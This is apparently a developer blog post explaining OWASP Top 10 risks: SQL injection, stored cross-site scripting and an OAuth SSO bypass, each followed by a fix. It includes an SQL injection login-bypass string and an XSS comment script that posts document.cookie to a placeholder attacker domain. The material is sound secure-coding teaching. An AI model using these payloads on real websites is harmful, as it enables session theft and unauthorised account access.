Today web apps are everywhere and are used by almost everyone. It is a critical part of most business flows, a way for companies to connect to their customers and clients. From conveying information to providing a service, the level of complexity can vary widely as well as the level of care needed to secure them.

In 2018 there was a total of 1,6 billion websites (unique hostnames). There is no denying that the internet is a big part of our daily lives in one way or another. Our job as developers is not only to provide functional, efficient and innovative solutions for customers but to make sure that they are secure as well.

The OWASP Top 10

OWASP TOP 10

The Open Web Application Security Project (OWASP), a foundation that aims to improve the security of software. The OWASP Top 10 project is a document that developers can and should use as a first step checklist to minimise the listed security risks in their solutions.

Injection

Injection vulnerabilities, especially SQL injections, are unfortunately quite common. They occur when an application sends untrusted data to an interpreter (e.g., a website sending unsensitised user-inputted data to the backend).

Along with SQL injection, SOAP, XPath, LDAP and REST based queries can be susceptible to injection attacks, thus allowing for data retrieval or control bypass.

SQL Injection

A SQL injection attack consists of the injection of either a partial or complete SQL query, via data input, from the client to the web application. This could allow the reading and modification of sensitive data that the client user should not have access to.

Vulnerability — Unparameterized SQL queries

Imagine you used the following query to check whether the supplied login credentials are valid:

SELECT * FROM Users WHERE Username =" + username + " AND Password =" +
password + "

First, a ‘select *’ should be avoided where applicable in order to prevent unnecessary data from being returned. **Queries should be as specific as they can be** Secondly a threat actor could supply data to get access to usernames and password stored in the database by simply supplying

“ OR “”=”

as the username and password. The resulting query will look as such:

SELECT * FROM Users WHERE Username =”” or “”=”” AND Password =”” or “”=””

If your database configuration were moderately sound, a database record of Username = “” wouldn’t exist but the expression “”=”” would always evaluate to true. The same applies for the password, so the resulting query would return all data from the Users table.

Solution — Parameterized SQL queries

Values added to a SQL query at execution time, in a controlled manner, are called SQL parameters. The SQL engine checks each parameter that it is correct for its column and are treated literally, and not part for the SQL to be executed. Consider our previous query but parameterized in ASP.NET Razor:

txtUsername = getUsername();
txtPasssword = getPassword();
txtSQL = “SELECT * FROM Users WHERE Username = @0 AND Password = @1”;
db.Execute(txtSQL,txtUsername, txtPasssword);

In this case, if the same malicious input were given, the resulting SQL query will accept the parameters as complete variables, not changing the underlying SQL query itself.

Cross-Site Scripting

Cross-site scripting or XSS attacks are a type of injection, in which malicious scripts are injected into harmless or trusted websites. The attack vector for this vulnerability is any web application that uses user input without validating it.

A successful XSS attack can be very dangerous because a victim visiting the website would be none the wiser while the malicious script has access to the victim’s cookies, session, and other sensitive information stored in the browser that the site uses. The malicious third-party script could even alter the html content of the website.

Vulnerability — Stored XSS attack

A stored XSS attack is one where the malicious script is stored on the vulnerable website, so any victim visiting the compromised web page will fall victim to the script. Consider a web page where comments could be posted but are not validated. An attacker could post a comment that includes the following malicious code:

I really like this cat video! ?

script>
fetch(‘https://Attackers-Domain.com’, {
method: ‘POST’,
mode: ‘no-cors’,
body:document.cookie
});
/script>

When a victim visits the web page with this comment, all they’ll see is the text “I really like this cat video! ?” but the script will perform a post request from the victim’s browser to the attacker’s domain passing the victim’s cookies.

Solution — Validate user input

Validating the comment before it gets posted would stop this attack in its tracks. There are countless libraries and tools available that you can use to sanitize data. Most development frameworks also do sanitization in some form or another. For a more strategic/planned way of prevention, see OWASP’s: XSS prevention cheat sheet

Broken Authentication

Authentication is often configured incorrectly or according to a “let’s make it work” principle, leaving flaws that can be leveraged by attackers.

OAuth (2.0) is a commonly used authorisation framework that enables websites and web applications to request limited access to a user’s account on another application. It allows a user to grant access without having to expose their login credentials to the requesting web application. OAuth was originally created for this purpose. It works by defining a series of interactions between a client application, resource owner, and OAuth service provider.

OAuth has evolved into a means of authentication users (SSO). The common “Login with Facebook” is an example. OAuth authentication is generally implemented as follows:

1. User chooses to login with their social media account. The client application uses the social media’s OAuth service to request access to some data that it can use to identify the user. For example, an email address.

2. Once the client application receives the access token, it requests this data from the resource owner, e.g., “SOMEDOMAIN.COM/userinfo”

3. Once it has the data, the client application uses it to login the user, in the place of username and uses the access token as a password.

Vulnerability — bypass SSO implicit flow

Consider a scenario where the SSO login is being used in a client-server web application. In order to initiate a session for the user, the client web application sends a POST request to its server’s ”/authenticate” endpoint with the data it received from the resource server, effectively logging them in. This data could include, the ClientID, access token and the user’s email address. The server does not have any secrets or passwords to compare with the submitted data, meaning that the data is implicitly trusted.

This POST request can be intercepted and manipulated. In this case, the email address could be changed to another user, possibly one with administrative access. The client application would then log in said user without batting an eyelid.

Solution — Validate the access token

Some social media OAuth providers provide an endpoint against which you can check that the access token your server received is correct. Examples of this is Google’s “/tokeninfo” endpoint and Facebook’s “/debug_token” endpoint. The client server can make a request to these endpoints and validate that the data in the response matches the data supplied to it. In our case, compare the email against the response’s email.

Conclusion

I have only covered a few commonly overlooked vulnerabilities, but there are plenty of resources that can guide you to securing your web applications. A few tips you can follow:

• Always follow best practices
• Keep libraries up to date and check them for vulnerabilities
• Check that logs do not contain sensitive data and monitor logs accordingly.

There are many ways in which vulnerabilities can arise in web applications, as such security should not be an afterthought. Be vigilant and happy coding!

Some Resources You Can Check out

OWASP Web Application Security Testing Guide

Port Swigger Web Security Academy — Though targeted to security professionals, knowing how the underlying processes work can be invaluable to creating secure web applications

A simple checklist for web security